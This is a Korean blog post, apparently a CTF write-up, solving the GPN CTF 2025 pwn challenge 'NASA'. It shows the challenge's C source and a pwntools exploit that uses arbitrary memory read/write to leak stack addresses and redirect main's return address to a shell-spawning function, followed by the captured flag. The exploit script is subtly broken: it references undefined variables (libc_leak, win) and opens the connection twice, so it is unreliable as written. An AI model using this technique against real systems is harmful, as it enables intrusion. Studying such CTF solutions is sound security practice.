GPN CTF 2025 - NASA

2025. 6. 22. 08:57·CTF/Solved
728x90
반응형

1. intro

 

2. code 및 분석

2.1.  code

// gcc -Og -g3 -w -fsanitize=address nasa.c -o nasa
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

void win() {
        puts("YOU WIN!!!\n");
        system("/bin/sh");
        exit(0);
}

void provide_help(void *stack_ptr) {
        printf("%p\n", stack_ptr);
        printf("%p\n", &win);
}

int main(void) {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stderr, NULL, _IONBF, 0);

        long long option;
        provide_help(&option);
        while (1) {
                puts("[1] Write [2] Read [3] Exit");
                if (scanf("%llu", &option) != 1)
                        break;
                if (option == 1) {
                        puts("8-byte adress and 8-byte data to write please (hex)");
                        uintptr_t addr;
                        uint64_t val;
                        scanf("%lx %lx", &addr, &val);
                        *((uint64_t *)addr) = val;
                } else if (option == 2) {
                        puts("8-byte adress to read please (hex)");
                        uintptr_t addr;
                        scanf("%lx", &addr);
                        printf("%lx\n", *((uint64_t *)addr));
                } else if (option == 3) {
                        puts(":wave:");
                        break;
                } else {
                        puts("Invalid option");
                }
        }
        return 0;
}

2.2. 분석

실행 시 stack과 win 함수의 주소를 출력하며, 1번 메뉴로 aaw, 2번 메뉴로 aar이 가능하다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

-

3.2. 공격 준비

libasan 라이브러리로 인해 이런저런 오류나 변조를 감지하여 감지된 경우 오류 메시지와 함께 바이너리를 종료해버린다.

더불어 스택의 랜덤화도 함께 이루어지기 때문에 특정 주소를 구하기가 조금 난해해진다.

따라서 처음 주어진 stack 주소에서 얻을 수 있는 정보를 토대로 두번째 주소를 얻고, 마찬가지로 여기서 다시 정보를 얻는 방식으로 최종적으로 environ에서 main의 stack address를 leak한 다음 main의 ret을 win 함수로 변조하였다.

또한 win 함수로 return 시 movaps issue가 발생하여 win + 5로 return했다. 

4. exploit

from pwn import *

debug = True
#debug = False
path = './nasa'
elf = ELF(path)
libc = elf.libc

if debug == True:
    io = process([path])#, env={"LD_PRELOAD":""})
    elf = ELF(path)
else:
    io = remote("mountford-of-everlasting-gold.gpn23.ctf.kitctf.de", "443", ssl=True)

script ='''
'''

def hexmsg(name, val):
    info(f"{name} = {hex(val)}")

def main():
    io = remote("lakecity-of-nuclear-grade-unity.gpn23.ctf.kitctf.de", "443", ssl=True)
    #gdb.attach(io, script)

    stack_leak = int(io.recvline()[:-1],16)
    code = int(io.recvline()[:-1],16)

    hexmsg('libc',libc_leak)
    hexmsg('code',code)

    context.log_level = 'debug'

    io.sendlineafter(b'Exit\n',b'2')
    io.sendlineafter(b'hex)\n',str(hex(code + 0x2cbf)).encode())
    stage_one = int(io.recvline()[:-1],16)
    hexmsg('stage_one', stage_one)

    io.sendlineafter(b'Exit\n',b'2')
    io.sendlineafter(b'hex)\n',str(hex(stage_one + 0x68a5ee - 0x6e52a8)).encode())
    stage_two = int(io.recvline()[:-1],16)
    hexmsg('stage_two', stage_two)

    ret = stage_two - 0x130

    hexmsg('ret',ret)

    io.sendlineafter(b'Exit\n',b'1')
    io.sendlineafter(b'hex)\n',str(hex(ret)).encode() + str(' ').encode() + str(hex(win + 5)).encode())

    io.interactive()

    return

if __name__ == "__main__":
    main()

# GPNCTF{al1_wrI73S_4re_PRoTEc73d_8y_45AN_0nly_1N_Y0UR_Dr3amS_9438}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

GPN CTF 2025 - Note Editor  (0) 2025.06.22
GPN CTF 2025 - no-nc  (1) 2025.06.22
NahamCon 2025 CTF - Lost Memory  (0) 2025.05.30
BREAK THE SYNTAX CTF - HexDumper  (0) 2025.05.11
Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning  (0) 2025.05.03
'CTF/Solved' 카테고리의 다른 글
  • GPN CTF 2025 - Note Editor
  • GPN CTF 2025 - no-nc
  • NahamCon 2025 CTF - Lost Memory
  • BREAK THE SYNTAX CTF - HexDumper
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (513)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (74)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (320) N
        • pwn.college (34)
        • Dreamhack (154) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    BOF
    _IO_FILE
    hackerschool
    32bit
    la ctf
    x86
    vtable
    ROOT ME
    dreamhack
    root
    Buffer Overflow
    root-me
    libc
    tcache
    pwntools
    docker
    CANARY
    heap
    x64
    lob
    phoenix
    cryptohack
    FSB
    RTL
    rop
    64bit
    Me
    pwnable.kr
    exploit education
    Format String Bug
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
GPN CTF 2025 - NASA
상단으로

티스토리툴바